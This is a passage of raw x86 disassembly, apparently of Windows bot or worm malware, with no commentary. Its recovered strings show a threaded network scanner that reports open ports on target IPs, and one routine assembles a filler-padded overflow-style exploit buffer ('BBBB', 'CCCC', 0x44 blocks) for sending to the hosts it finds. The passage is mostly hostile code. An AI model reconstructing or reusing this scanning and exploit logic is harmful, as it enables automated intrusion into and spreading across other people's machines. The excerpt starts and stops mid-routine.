mov edx, [esp+1Ch+var_8]
shl eax, 8
add eax, edx
pop esi
pop edi
mov dword_50BB80[ecx*8], eax
pop ebx
add esp, 10h
retn
sub_423760 endp
; ---------------------------------------------------------------------------
db 7 dup(90h)
db 30h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_423850 proc near ; CODE XREF: sub_401E38j
var_120 = dword ptr -120h
var_11C = dword ptr -11Ch
var_118 = dword ptr -118h
var_114 = word ptr -114h
var_112 = word ptr -112h
var_110 = dword ptr -110h
var_104 = dword ptr -104h
var_100 = dword ptr -100h
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
sub esp, 120h
push esi
push edi
mov edi, 1
push 0
push edi
push 2
mov [esp+134h+var_120], edi
nop
call near ptr 71AB3B91h
mov esi, eax
cmp esi, 0FFFFFFFFh
jnz short loc_42387E
pop edi
xor eax, eax
pop esi
add esp, 120h
retn
; ---------------------------------------------------------------------------
loc_42387E: ; CODE XREF: sub_423850+21j
mov ecx, [esp+128h+arg_4]
mov eax, [esp+128h+arg_0]
push ecx
mov [esp+12Ch+var_114], 2
mov [esp+12Ch+var_110], eax
nop
call near ptr 71AB2B66h
lea edx, [esp+128h+var_120]
mov [esp+128h+var_112], ax
push edx
push 8004667Eh
push esi
nop
call near ptr 71AB4519h
lea eax, [esp+128h+var_114]
push 10h
push eax
push esi
nop
call near ptr 71AB406Ah
mov ecx, [esp+128h+arg_8]
lea edx, [esp+128h+var_11C]
push edx
lea eax, [esp+12Ch+var_104]
push 0
push eax
push 0
push 0
mov [esp+13Ch+var_11C], ecx
mov [esp+13Ch+var_118], 0
mov [esp+13Ch+var_100], esi
mov [esp+13Ch+var_104], edi
call near ptr 71AB2DC0h
nop
push esi
mov edi, eax
call near ptr 71AB9639h
nop
xor eax, eax
test edi, edi
pop edi
pop esi
setnle al
add esp, 120h
retn
sub_423850 endp
; ---------------------------------------------------------------------------
db 4 dup(90h)
db 30h dup(0CCh)
; ---------------------------------------------------------------------------
loc_423940: ; CODE XREF: ___:00401046j
mov eax, 10110h
call sub_436840
push ebx
push ebp
mov ebp, dword_50FC2C
push esi
push edi
push 2649h
call ebp ; dword_50FC2C
mov [esp+24h], ax
mov eax, [esp+1012Ch]
push eax
call ebp ; dword_50FC2C
mov [esp+26h], ax
call near ptr 77C371D3h
nop
xor ebx, ebx
push 200h
mov [esp+2Ch], eax
mov [esp+30h], ebx
mov [esp+34h], bx
mov [esp+44h], bx
mov word ptr [esp+36h], 5
mov [esp+38h], bx
mov word ptr [esp+3Ah], 1
mov [esp+3Ch], bx
mov [esp+3Eh], bx
mov [esp+40h], bx
mov [esp+42h], bx
call ebp ; dword_50FC2C
mov ecx, [esp+10124h]
mov edx, [esp+10128h]
push 24h
mov [esp+46h], ax
mov [esp+48h], bx
mov [esp+4Ah], bx
mov [esp+4Ch], ecx
mov [esp+50h], edx
mov [esp+54h], bl
mov byte ptr [esp+55h], 6
call ebp ; dword_50FC2C
mov [esp+52h], ax
mov ecx, 9
lea esi, [esp+24h]
lea edi, [esp+54h]
lea eax, [esp+48h]
push 20h
rep movsd
push eax
call sub_401A28
mov edx, [esp+10134h]
xor ecx, ecx
mov [esp+1Ch], ecx
add esp, 8
mov [esp+18h], ecx
mov [esp+44h], ax
mov [esp+1Ch], ecx
push edx
mov [esp+24h], ecx
mov word ptr [esp+18h], 2
call ebp ; dword_50FC2C
mov [esp+16h], ax
mov eax, [esp+10128h]
push 6
push 3
push 2
mov [esp+24h], eax
mov dword ptr [esp+1Ch], 10h
call near ptr 71AB3B91h
nop
mov esi, eax
cmp esi, 0FFFFFFFFh
jnz short loc_423A69
push offset aSocketOpenFail ; "socket open failed"
jmp loc_423B68
; ---------------------------------------------------------------------------
loc_423A69: ; CODE XREF: ___:00423A5Dj
mov ecx, [esp+10h]
lea edx, [esp+14h]
push ecx
push edx
push ebx
lea eax, [esp+30h]
push 24h
push eax
push esi
call near ptr 71AB2C69h
nop
mov edi, eax
cmp edi, 14h
jz short loc_423AC2
nop
call near ptr 71AB94DCh
push eax
push edi
lea ecx, [esp+70h]
push offset aSendtoSocketFa ; "sendto() socket failed. sent = %d <%d>."...
push ecx
call sub_5EA1BD
nop
lea edx, [esp+78h]
push edx
call sub_4010D2
add esp, 14h
push esi
call near ptr 71AB9639h
nop
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 10110h
retn
; ---------------------------------------------------------------------------
loc_423AC2: ; CODE XREF: ___:00423A87j
mov ecx, 400Dh
xor eax, eax
lea edi, [esp+0E8h]
mov ebp, 2649h
rep stosd
stosw
stosb
cmp [esp+0FEh], bp
jz short loc_423B13
mov edi, dword_50FC58
loc_423AEA: ; CODE XREF: ___:00423B11j
lea eax, [esp+10h]
lea ecx, [esp+14h]
push eax
push ecx
push ebx
lea edx, [esp+0F4h]
push 10037h
push edx
push esi
call edi ; dword_50FC58
test eax, eax
jl short loc_423B42
cmp [esp+0FEh], bp
jnz short loc_423AEA
loc_423B13: ; CODE XREF: ___:00423AE2j
push esi
nop
call near ptr 71AB9639h
cmp word ptr [esp+10Eh], 1
jnz short loc_423B63
push offset aSocketOpen_ ; "Socket open."
call sub_4010D2
add esp, 4
mov eax, 1
pop edi
pop esi
pop ebp
pop ebx
add esp, 10110h
retn
; ---------------------------------------------------------------------------
loc_423B42: ; CODE XREF: ___:00423B07j
push offset aRecvfromSocket ; "recvfrom() socket failed"
call sub_4010D2
add esp, 4
push esi
nop
call near ptr 71AB9639h
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 10110h
retn
; ---------------------------------------------------------------------------
loc_423B63: ; CODE XREF: ___:00423B23j
push offset dword_44466C
loc_423B68: ; CODE XREF: ___:00423A64j
call sub_4010D2
add esp, 4
xor eax, eax
pop edi
pop esi
pop ebp
pop ebx
add esp, 10110h
retn
; ---------------------------------------------------------------------------
db 3 dup(90h)
db 90h dup(0CCh)
; ---------------------------------------------------------------------------
loc_423C10: ; CODE XREF: ___:loc_401F23j
sub esp, 290h
mov eax, [esp+294h]
push ebx
push ebp
push esi
push edi
mov ecx, 53h
mov esi, eax
lea edi, [esp+18h]
rep movsd
mov esi, [esp+13Ch]
mov ecx, [esp+140h]
mov [esp+10h], esi
mov [esp+14h], ecx
mov dword ptr [eax+148h], 1
nop
call near ptr 27F06FDh
push eax
call near ptr 77C371BCh
nop
lea eax, [esi+esi*2]
add esp, 4
shl eax, 4
sub eax, esi
lea eax, [eax+eax*2]
lea ebp, ds:448FBBh[eax*4]
mov eax, dword_4491BF[eax*4]
mov ecx, dword_50BB84[eax*8]
test ecx, ecx
jz loc_423EC4
mov ebx, off_50FBF0
loc_423C8C: ; CODE XREF: ___:00423EBAj
mov ecx, [esp+158h]
push eax
test ecx, ecx
jz short loc_423CA7
lea edx, [esp+1Ch]
push edx
call sub_401131
add esp, 8
jmp short loc_423CAF
; ---------------------------------------------------------------------------
loc_423CA7: ; CODE XREF: ___:00423C96j
call sub_401F37
add esp, 4
loc_423CAF: ; CODE XREF: ___:00423CA5j
mov ecx, [ebp+204h]
mov edx, [esp+12Ch]
mov edi, dword_50FC78
mov esi, eax
mov eax, [esp+14h]
push eax
push ecx
push edx
push esi
call edi ; dword_50FC78
push eax
lea eax, [esp+230h]
push offset aScanIpSDScanTh ; "[SCAN]: IP: %s:%d, Scan thread: %d, Sub"...
push eax
call ebx ; sub_5EA1BD
add esp, 18h
lea ecx, [esp+220h]
push ecx
push ebp
call ebx ; sub_5EA1BD
mov edx, [esp+138h]
mov eax, [esp+134h]
push edx
push eax
push esi
call sub_401E38
add esp, 14h
cmp eax, 1
jnz loc_423EA0
cmp dword ptr [esp+148h], 0FFFFFFFFh
jnz loc_423DC2
push offset dword_50DAC0
call near ptr 7C901005h
nop
mov ecx, [esp+12Ch]
push ecx
push esi
call edi ; dword_50FC78
push eax
lea edx, [esp+228h]
push offset aScanIpSPortDIs ; "[SCAN]: IP: %s, Port %d is open."
push edx
call ebx ; sub_5EA1BD
mov eax, [esp+164h]
add esp, 10h
test eax, eax
jnz short loc_423DA2
mov al, [esp+0A8h]
test al, al
jz short loc_423D7D
mov eax, [esp+150h]
lea ecx, [esp+220h]
push eax
mov eax, [esp+12Ch]
lea edx, [esp+0ACh]
push ecx
push edx
push eax
jmp short loc_423D9A
; ---------------------------------------------------------------------------
loc_423D7D: ; CODE XREF: ___:00423D59j
mov ecx, [esp+150h]
lea edx, [esp+220h]
push ecx
mov ecx, [esp+12Ch]
lea eax, [esp+2Ch]
push edx
push eax
push ecx
loc_423D9A: ; CODE XREF: ___:00423D7Bj
call sub_401523
add esp, 10h
loc_423DA2: ; CODE XREF: ___:00423D4Ej
lea edx, [esp+220h]
push edx
call sub_4010D2
add esp, 4
push offset dword_50DAC0
call near ptr 7C9010EDh
nop
jmp loc_423EA0
; ---------------------------------------------------------------------------
loc_423DC2: ; CODE XREF: ___:00423D16j
push esi
call edi ; dword_50FC78
push eax
lea eax, [esp+16Ch]
push eax
call ebx ; sub_5EA1BD
mov eax, [esp+150h]
add esp, 8
lea eax, [eax+eax*2]
lea ecx, [eax+eax*4]
lea eax, [esp+1F8h]
lea edx, ds:444410h[ecx*4]
push edx
push eax
call ebx ; sub_5EA1BD
mov al, [esp+0B0h]
add esp, 8
test al, al
jz short loc_423E12
lea ecx, [esp+0A8h]
lea edx, [esp+178h]
push ecx
push edx
jmp short loc_423E1F
; ---------------------------------------------------------------------------
loc_423E12: ; CODE XREF: ___:00423DFEj
lea eax, [esp+28h]
lea ecx, [esp+178h]
push eax
push ecx
loc_423E1F: ; CODE XREF: ___:00423E10j
call ebx ; sub_5EA1BD
mov eax, [esp+158h]
mov edx, [esp+130h]
mov ecx, [esp+15Ch]
mov [esp+21Ah], eax
mov eax, [esp+18h]
add esp, 8
mov [esp+164h], edx
mov edx, [esp+12Ch]
mov [esp+206h], eax
mov eax, [esp+148h]
sub esp, 0BCh
mov [esp+2D2h], ecx
mov ecx, 2Eh
lea esi, [esp+220h]
mov edi, esp
mov [esp+2BEh], edx
mov [esp+2C6h], eax
lea eax, [eax+eax*2]
rep movsd
lea edx, [eax+eax*4]
movsw
call off_44443C[edx*4]
add esp, 0BCh
loc_423EA0: ; CODE XREF: ___:00423D08j
; ___:00423DBDj
push 7D0h
nop
call near ptr 28402DAh
mov eax, [ebp+204h]
mov ecx, dword_50BB84[eax*8]
test ecx, ecx
jnz loc_423C8C
mov esi, [esp+10h]
loc_423EC4: ; CODE XREF: ___:00423C80j
push esi
call sub_401E24
add esp, 4
push 0
call near ptr 284048Ah
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
; ---------------------------------------------------------------------------
db 0C0h dup(0CCh)
; ---------------------------------------------------------------------------
loc_423FA0: ; CODE XREF: sub_402261j
mov eax, [esp+4]
sub esp, 1CCh
mov ecx, 53h
push ebx
push ebp
push esi
push edi
mov esi, eax
lea edi, [esp+10h]
mov ebx, 1
rep movsd
mov [eax+144h], ebx
lea eax, [esp+10h]
push eax
nop
call near ptr 71AB2BF4h
sub esp, 14Ch
lea esi, [esp+15Ch]
mov ecx, [esp+27Ch]
mov edi, esp
mov dword_50BB80[ecx*8], eax
mov ecx, 53h
rep movsd
call j_nullsub_9
push 3
call sub_401483
add esp, 150h
cmp eax, ebx
jnz short loc_424021
push offset dword_50DAC0
call near ptr 2780000h
nop
push offset dword_50DAC0
call near ptr 27806EAh
nop
loc_424021: ; CODE XREF: ___:00424009j
mov edx, [esp+130h]
mov eax, [esp+13Ch]
mov ebp, dword_50F8D0
mov esi, ebx
mov dword_50BB84[edx*8], ebx
cmp eax, ebx
mov ebx, off_50FBF0
jb loc_424150
mov edi, dword_50F860
loc_424052: ; CODE XREF: ___:0042414Aj
mov eax, [esp+130h]
mov ecx, [esp+124h]
push esi
push eax
lea edx, [esp+18h]
push ecx
push edx
lea eax, [esp+16Ch]
push offset aScanSDScanThre ; "[SCAN]: %s:%d, Scan thread: %d, Sub-thr"...
push eax
mov [esp+150h], esi
call ebx ; sub_5EA1BD
push 0
lea ecx, [esp+178h]
push 3
push ecx
call sub_401BD6
lea ecx, [eax+eax*2]
add esp, 24h
shl ecx, 4
sub ecx, eax
push 0
push 0
mov [esp+13Ch], eax
mov eax, [esp+138h]
lea edx, [ecx+ecx*2]
lea ecx, [esp+18h]
push ecx
push offset loc_401F23
push 0
push 0
mov dword_4491BF[edx*4], eax
call edi ; dword_50F860
mov edx, [esp+134h]
lea ecx, [edx+edx*2]
shl ecx, 4
sub ecx, edx
lea edx, [ecx+ecx*2]
mov dword_4491CF[edx*4], eax
mov ecx, [esp+134h]
lea eax, [ecx+ecx*2]
shl eax, 4
sub eax, ecx
lea eax, [eax+eax*2]
mov ecx, dword_4491CF[eax*4]
test ecx, ecx
jz short loc_424118
mov eax, [esp+158h]
test eax, eax
jnz short loc_42413E
loc_424107: ; CODE XREF: ___:00424114j
push 1Eh
call ebp ; dword_50F8D0
mov eax, [esp+158h]
test eax, eax
jz short loc_424107
jmp short loc_42413E
; ---------------------------------------------------------------------------
loc_424118: ; CODE XREF: ___:004240FAj
nop
call near ptr 27C07D9h
push eax
lea ecx, [esp+160h]
push offset aScanFailedToSt ; "[SCAN]: Failed to start worker thread, "...
push ecx
call ebx ; sub_5EA1BD
lea edx, [esp+168h]
push edx
call sub_4010D2
add esp, 10h
loc_42413E: ; CODE XREF: ___:00424105j
; ___:00424116j
push 1Eh
call ebp ; dword_50F8D0
inc esi
cmp esi, [esp+13Ch]
jbe loc_424052
loc_424150: ; CODE XREF: ___:00424046j
mov eax, [esp+12Ch]
test eax, eax
jz short loc_42417E
lea eax, [eax+eax*2]
lea eax, [eax+eax*4]
lea eax, [eax+eax*4]
lea eax, [eax+eax*4]
lea eax, [eax+eax*4]
shl eax, 5
push eax
call ebp ; dword_50F8D0
mov esi, 1
mov eax, [esp+12Ch]
jmp short loc_4241B1
; ---------------------------------------------------------------------------
loc_42417E: ; CODE XREF: ___:00424159j
mov ecx, [esp+130h]
mov esi, 1
cmp dword_50BB84[ecx*8], esi
jnz short loc_4241B1
loc_424193: ; CODE XREF: ___:004241A8j
push 7D0h
call ebp ; dword_50F8D0
mov edx, [esp+130h]
cmp dword_50BB84[edx*8], esi
jz short loc_424193
mov eax, [esp+12Ch]
loc_4241B1: ; CODE XREF: ___:0042417Cj
; ___:00424191j
mov ecx, [esp+130h]
mov edx, [esp+124h]
push eax
push edx
mov ecx, dword_50BB80[ecx*8]
push ecx
call near ptr 71AB3F41h
nop
push eax
lea eax, [esp+168h]
push offset aScanFinishedAt ; "[SCAN]: Finished at %s:%d after %d minu"...
push eax
call ebx ; sub_5EA1BD
mov eax, [esp+160h]
add esp, 14h
test eax, eax
jnz short loc_424212
mov ecx, [esp+148h]
lea edx, [esp+15Ch]
push ecx
mov ecx, [esp+124h]
lea eax, [esp+24h]
push edx
push eax
push ecx
call sub_401523
add esp, 10h
loc_424212: ; CODE XREF: ___:004241EBj
lea edx, [esp+15Ch]
push edx
call sub_4010D2
mov eax, [esp+134h]
add esp, 4
push 0BB8h
mov dword_50BB84[eax*8], 0
call ebp ; dword_50F8D0
push 3
call sub_401483
add esp, 4
cmp eax, esi
jnz short loc_424254
push offset dword_50DAC0
nop
call near ptr 2780000h
loc_424254: ; CODE XREF: ___:00424247j
mov ecx, [esp+130h]
push ecx
call sub_401E24
add esp, 4
push 0
nop
call near ptr 284048Ah
nop
nop
nop
nop
; ---------------------------------------------------------------------------
db 0C0h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_424330 proc near ; CODE XREF: sub_4012A8j
mov eax, ecx
mov dword ptr [eax+4], 0
mov dword ptr [eax], 0
retn
sub_424330 endp
; ---------------------------------------------------------------------------
db 10h dup(0CCh)
; ---------------------------------------------------------------------------
loc_424350: ; CODE XREF: ___:004015E1j
mov edx, [esp+4]
sub esp, 8
xor eax, eax
push esi
mov esi, ecx
push edi
mov edi, edx
or ecx, 0FFFFFFFFh
repne scasb
not ecx
dec ecx
push ecx
push edx
lea ecx, [esp+10h]
call sub_401834
mov ecx, [eax]
pop edi
mov [esi], ecx
mov edx, [eax+4]
mov eax, esi
mov [esi+4], edx
pop esi
add esp, 8
retn 4
; ---------------------------------------------------------------------------
db 0Ah dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4243A0 proc near ; CODE XREF: sub_401834j
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push ebx
push ebp
mov ebp, [esp+8+arg_4]
mov ebx, ecx
push ebp
call near ptr 77C2C407h
nop
mov edx, eax
add esp, 4
test edx, edx
jz short loc_4243F2
mov ecx, ebp
push esi
mov esi, ecx
push edi
xor eax, eax
mov edi, edx
shr ecx, 2
rep stosd
mov ecx, esi
mov esi, [esp+10h+arg_0]
and ecx, 3
rep stosb
mov ecx, ebp
mov edi, edx
mov eax, ecx
shr ecx, 2
rep movsd
mov ecx, eax
mov eax, ebx
and ecx, 3
rep movsb
pop edi
mov [ebx+4], ebp
pop esi
mov [ebx], edx
pop ebp
pop ebx
retn 8
; ---------------------------------------------------------------------------
loc_4243F2: ; CODE XREF: sub_4243A0+16j
mov eax, ebx
pop ebp
pop ebx
retn 8
sub_4243A0 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
db 7 dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_424420 proc near ; CODE XREF: sub_4021D5j
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
arg_C = dword ptr 10h
mov eax, [esp+arg_4]
push ebx
mov ebx, ecx
push ebp
mov ecx, [esp+8+arg_C]
lea ebp, [eax+ecx]
push ebp
nop
call near ptr 77C2C407h
mov edx, eax
add esp, 4
test edx, edx
jz short loc_424494
mov ecx, ebp
push esi
mov esi, ecx
push edi
xor eax, eax
mov edi, edx
shr ecx, 2
rep stosd
mov ecx, esi
mov esi, [esp+10h+arg_0]
and ecx, 3
rep stosb
mov ecx, [esp+10h+arg_4]
mov edi, edx
mov eax, ecx
shr ecx, 2
rep movsd
mov ecx, eax
and ecx, 3
rep movsb
mov ecx, [esp+10h+arg_C]
mov esi, [esp+10h+arg_8]
lea edi, [edx+eax]
mov eax, ecx
shr ecx, 2
rep movsd
mov ecx, eax
mov eax, ebx
and ecx, 3
rep movsb
pop edi
mov [ebx+4], ebp
pop esi
mov [ebx], edx
pop ebp
pop ebx
retn 10h
; ---------------------------------------------------------------------------
loc_424494: ; CODE XREF: sub_424420+1Dj
mov eax, ebx
pop ebp
pop ebx
retn 10h
sub_424420 endp
; ---------------------------------------------------------------------------
db 5 dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4244C0 proc near ; CODE XREF: sub_4016B8j
push esi
mov esi, ecx
mov eax, [esi]
test eax, eax
jz short loc_4244D3
push eax
call near ptr 77C2C21Bh
nop
add esp, 4
loc_4244D3: ; CODE XREF: sub_4244C0+7j
mov dword ptr [esi+4], 0
mov dword ptr [esi], 0
pop esi
retn
sub_4244C0 endp
; ---------------------------------------------------------------------------
db 0Eh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_424500 proc near ; CODE XREF: sub_4010A0j
var_4 = dword ptr -4
push ecx
push ebx
mov ebx, ecx
push ebp
push esi
mov eax, [ebx+4]
cmp eax, 0FFFFh
jl short loc_424517
pop esi
pop ebp
xor al, al
pop ebx
pop ecx
retn
; ---------------------------------------------------------------------------
loc_424517: ; CODE XREF: sub_424500+Ej
xor ecx, ecx
cmp eax, 7Fh
setnl cl
dec ecx
and ecx, 0FFFFFFFEh
add ecx, 3
mov esi, ecx
add eax, esi
mov [esp+10h+var_4], esi
push eax
nop
call near ptr 77C2C407h
mov ebp, eax
add esp, 4
test ebp, ebp
jnz short loc_424545
pop esi
pop ebp
xor al, al
pop ebx
pop ecx
retn
; ---------------------------------------------------------------------------
loc_424545: ; CODE XREF: sub_424500+3Cj
push edi
mov edi, [ebx+4]
mov ecx, esi
xor eax, eax
add ecx, edi
mov edi, ebp
mov edx, ecx
shr ecx, 2
rep stosd
mov ecx, edx
and ecx, 3
cmp esi, 1
rep stosb
jnz short loc_424574
mov al, [ebx+4]
lea edi, [ebp+1]
mov [ebp+0], al
mov ecx, [ebx+4]
mov esi, [ebx]
jmp short loc_42458F
; ---------------------------------------------------------------------------
loc_424574: ; CODE XREF: sub_424500+62j
mov byte ptr [ebp+0], 82h
mov eax, [ebx+4]
sar eax, 8
mov [ebp+1], al
mov cl, [ebx+4]
mov [ebp+2], cl
mov ecx, [ebx+4]
mov esi, [ebx]
lea edi, [ebp+3]
loc_42458F: ; CODE XREF: sub_424500+72j
mov edx, ecx
shr ecx, 2
rep movsd
mov ecx, edx
and ecx, 3
rep movsb
mov eax, [ebx]
push eax
nop
call near ptr 77C2C21Bh
mov ecx, [esp+18h+var_4]
mov eax, [ebx+4]
add esp, 4
add eax, ecx
mov [ebx], ebp
mov [ebx+4], eax
pop edi
pop esi
pop ebp
mov al, 1
pop ebx
pop ecx
retn
sub_424500 endp
; ---------------------------------------------------------------------------
db 90h
db 30h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4245F0 proc near ; CODE XREF: sub_401B68j
var_8 = dword ptr -8
var_4 = dword ptr -4
sub esp, 8
push ebx
push ebp
mov ebp, ecx
mov eax, [ebp+4]
mov ecx, [ebp+0]
push eax
push ecx
push 1
push offset dword_446F64
lea ecx, [esp+20h+var_8]
call sub_4021D5
lea ecx, [esp+10h+var_8]
call sub_4010A0
mov edx, [esp+10h+var_4]
inc edx
push edx
call near ptr 77C2C407h
nop
mov ebx, eax
add esp, 4
test ebx, ebx
jnz short loc_424635
pop ebp
xor al, al
pop ebx
add esp, 8
retn
; ---------------------------------------------------------------------------
loc_424635: ; CODE XREF: sub_4245F0+3Bj
mov eax, [esp+10h+var_4]
push esi
push edi
mov edi, ebx
lea ecx, [eax+1]
xor eax, eax
mov edx, ecx
shr ecx, 2
rep stosd
mov ecx, edx
and ecx, 3
rep stosb
mov byte ptr [ebx], 3
mov ecx, [esp+18h+var_4]
mov esi, [esp+18h+var_8]
mov eax, ecx
lea edi, [ebx+1]
shr ecx, 2
rep movsd
mov ecx, eax
and ecx, 3
rep movsb
mov ecx, ebp
call sub_4016B8
mov ecx, [esp+18h+var_4]
mov [ebp+0], ebx
inc ecx
mov [ebp+4], ecx
lea ecx, [esp+18h+var_8]
call sub_4016B8
pop edi
pop esi
pop ebp
mov al, 1
pop ebx
add esp, 8
retn
sub_4245F0 endp
; ---------------------------------------------------------------------------
db 0Fh dup(90h)
db 30h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4246D0 proc near ; CODE XREF: sub_4012C6j
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_4]
sub esp, 8
push esi
mov esi, ecx
mov ecx, [esp+0Ch+arg_0]
push eax
mov edx, [esi+4]
mov eax, [esi]
push ecx
push edx
push eax
lea ecx, [esp+1Ch+var_8]
call sub_4021D5
mov ecx, esi
call sub_4016B8
mov ecx, [esp+0Ch+var_8]
mov edx, [esp+0Ch+var_4]
mov [esi], ecx
mov [esi+4], edx
mov al, 1
pop esi
add esp, 8
retn 8
sub_4246D0 endp
; ---------------------------------------------------------------------------
db 3 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_424720 proc near ; CODE XREF: sub_402036j
arg_0 = dword ptr 4
push esi
mov esi, [esp+4+arg_0]
mov edx, ecx
push edi
mov edi, esi
or ecx, 0FFFFFFFFh
xor eax, eax
repne scasb
not ecx
dec ecx
push ecx
push esi
mov ecx, edx
call sub_4012C6
pop edi
pop esi
retn 4
sub_424720 endp
; ---------------------------------------------------------------------------
db 0Eh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_424760 proc near ; CODE XREF: sub_4014FBj
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_4]
mov edx, [esp+arg_0]
push eax
push edx
call sub_4012C6
retn 8
sub_424760 endp
; ---------------------------------------------------------------------------
db 0Eh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_424790 proc near ; CODE XREF: sub_4017CBj
var_8 = dword ptr -8
var_4 = dword ptr -4
sub esp, 8
push esi
mov esi, ecx
call sub_4010A0
test al, al
jnz short loc_4247A4
pop esi
add esp, 8
retn
; ---------------------------------------------------------------------------
loc_4247A4: ; CODE XREF: sub_424790+Dj
mov eax, [esi+4]
mov ecx, [esi]
push eax
push ecx
push 1
push offset dword_444B94
lea ecx, [esp+1Ch+var_8]
call sub_4021D5
mov ecx, esi
call sub_4016B8
mov edx, [esp+0Ch+var_8]
mov eax, [esp+0Ch+var_4]
mov [esi], edx
mov [esi+4], eax
mov al, 1
pop esi
add esp, 8
retn
sub_424790 endp
; ---------------------------------------------------------------------------
db 0Ah dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_424800 proc near ; CODE XREF: sub_401EABj
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_4]
push esi
mov esi, ecx
push eax
mov ecx, [esp+8+arg_0]
push ecx
mov ecx, esi
call sub_4014FB
test al, al
jnz short loc_42481C
pop esi
retn 8
; ---------------------------------------------------------------------------
loc_42481C: ; CODE XREF: sub_424800+16j
mov ecx, esi
call sub_4017CB
pop esi
retn 8
sub_424800 endp
; ---------------------------------------------------------------------------
db 9 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_424840 proc near ; CODE XREF: sub_401BEAj
var_858 = dword ptr -858h
var_854 = dword ptr -854h
var_850 = dword ptr -850h
var_84C = dword ptr -84Ch
var_848 = dword ptr -848h
var_844 = dword ptr -844h
var_840 = dword ptr -840h
var_83C = dword ptr -83Ch
var_838 = dword ptr -838h
var_834 = dword ptr -834h
var_830 = dword ptr -830h
var_82C = dword ptr -82Ch
var_828 = dword ptr -828h
var_824 = dword ptr -824h
var_820 = dword ptr -820h
var_81C = dword ptr -81Ch
var_818 = dword ptr -818h
var_814 = dword ptr -814h
var_810 = dword ptr -810h
var_80C = dword ptr -80Ch
var_808 = dword ptr -808h
var_804 = dword ptr -804h
var_800 = byte ptr -800h
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
arg_C = dword ptr 10h
arg_10 = dword ptr 14h
sub esp, 858h
lea ecx, [esp+858h+var_818]
push ebx
push esi
call sub_4012A8
mov esi, [esp+860h+arg_8]
cmp esi, 408h
jg loc_424C15
mov ebx, [esp+860h+arg_10]
lea eax, [ebx+8]
cmp eax, 408h
ja loc_424C15
push edi
lea ecx, [esp+864h+var_830]
call sub_4012A8
lea ecx, [esp+864h+var_840]
call sub_4012A8
lea ecx, [esp+864h+var_810]
call sub_4012A8
lea ecx, [esp+864h+var_848]
call sub_4012A8
lea ecx, [esp+864h+var_820]
call sub_4012A8
lea ecx, [esp+864h+var_828]
call sub_4012A8
lea ecx, [esp+864h+var_838]
call sub_4012A8
push 4
push offset dword_444830
lea ecx, [esp+86Ch+var_830]
call sub_4012C6
push 3
push offset dword_444838
lea ecx, [esp+86Ch+var_830]
call sub_4012C6
lea ecx, [esp+864h+var_830]
call sub_401B68
lea ecx, [esp+864h+var_830]
call sub_4017CB
mov ecx, 200h
mov eax, 42424242h
lea edi, [esp+864h+var_800]
push 8
rep stosd
push offset aRbrbrbrb ; "BBBB"
lea ecx, [esp+86Ch+var_840]
call sub_4012C6
mov ecx, [esp+864h+arg_C]
push ebx
push ecx
lea ecx, [esp+86Ch+var_840]
call sub_4012C6
mov ebx, [esp+864h+var_83C]
mov edx, 409h
sub edx, ebx
lea eax, [esp+864h+var_800]
push edx
push eax
lea ecx, [esp+86Ch+var_840]
call sub_4012C6
lea ecx, [esp+864h+var_840]
call sub_401B68
push offset loc_444BB8
lea ecx, [esp+868h+var_810]
call sub_402036
lea ecx, [esp+864h+var_810]
call sub_401B68
mov ecx, 200h
mov eax, 44444444h
lea edi, [esp+864h+var_800]
push 410h
rep stosd
lea ecx, [esp+868h+var_800]
push ecx
lea ecx, [esp+86Ch+var_808]
call sub_401834
lea ecx, [esp+864h+var_808]
call sub_401B68
mov edx, [esp+864h+var_804]
mov eax, [esp+864h+var_808]
push edx
push eax
lea ecx, [esp+86Ch+var_810]
call sub_401EAB
lea ecx, [esp+864h+var_808]
call sub_4016B8
mov ecx, 200h
mov eax, 43434343h
lea edi, [esp+864h+var_800]
push offset aCccc ; "CCCC"
rep stosd
lea ecx, [esp+868h+var_848]
call sub_402036
push 4
push offset dword_44483C
lea ecx, [esp+86Ch+var_848]
call sub_4012C6
mov ecx, [esp+864h+arg_4]
push esi
push ecx
lea ecx, [esp+86Ch+var_848]
call sub_4012C6
mov edx, 408h
lea eax, [esp+864h+var_800]
sub edx, esi
lea ecx, [esp+864h+var_848]
push edx
push eax
call sub_4012C6
lea ecx, [esp+864h+var_848]
call sub_401B68
mov ecx, [esp+864h+var_844]
mov edx, [esp+864h+var_848]
push ecx
push edx
lea ecx, [esp+86Ch+var_820]
call sub_4014FB
mov eax, [esp+864h+var_80C]
mov ecx, [esp+864h+var_810]
push eax
push ecx
lea ecx, [esp+86Ch+var_820]
call sub_4014FB
lea ecx, [esp+864h+var_820]
call sub_4017CB
lea ecx, [esp+864h+var_848]
call sub_4016B8
lea ecx, [esp+864h+var_810]
call sub_4016B8
mov edx, [esp+864h+var_83C]
mov eax, [esp+864h+var_840]
push edx
push eax
lea ecx, [esp+86Ch+var_828]
call sub_4014FB
mov ecx, [esp+864h+var_82C]
mov edx, [esp+864h+var_830]
push ecx
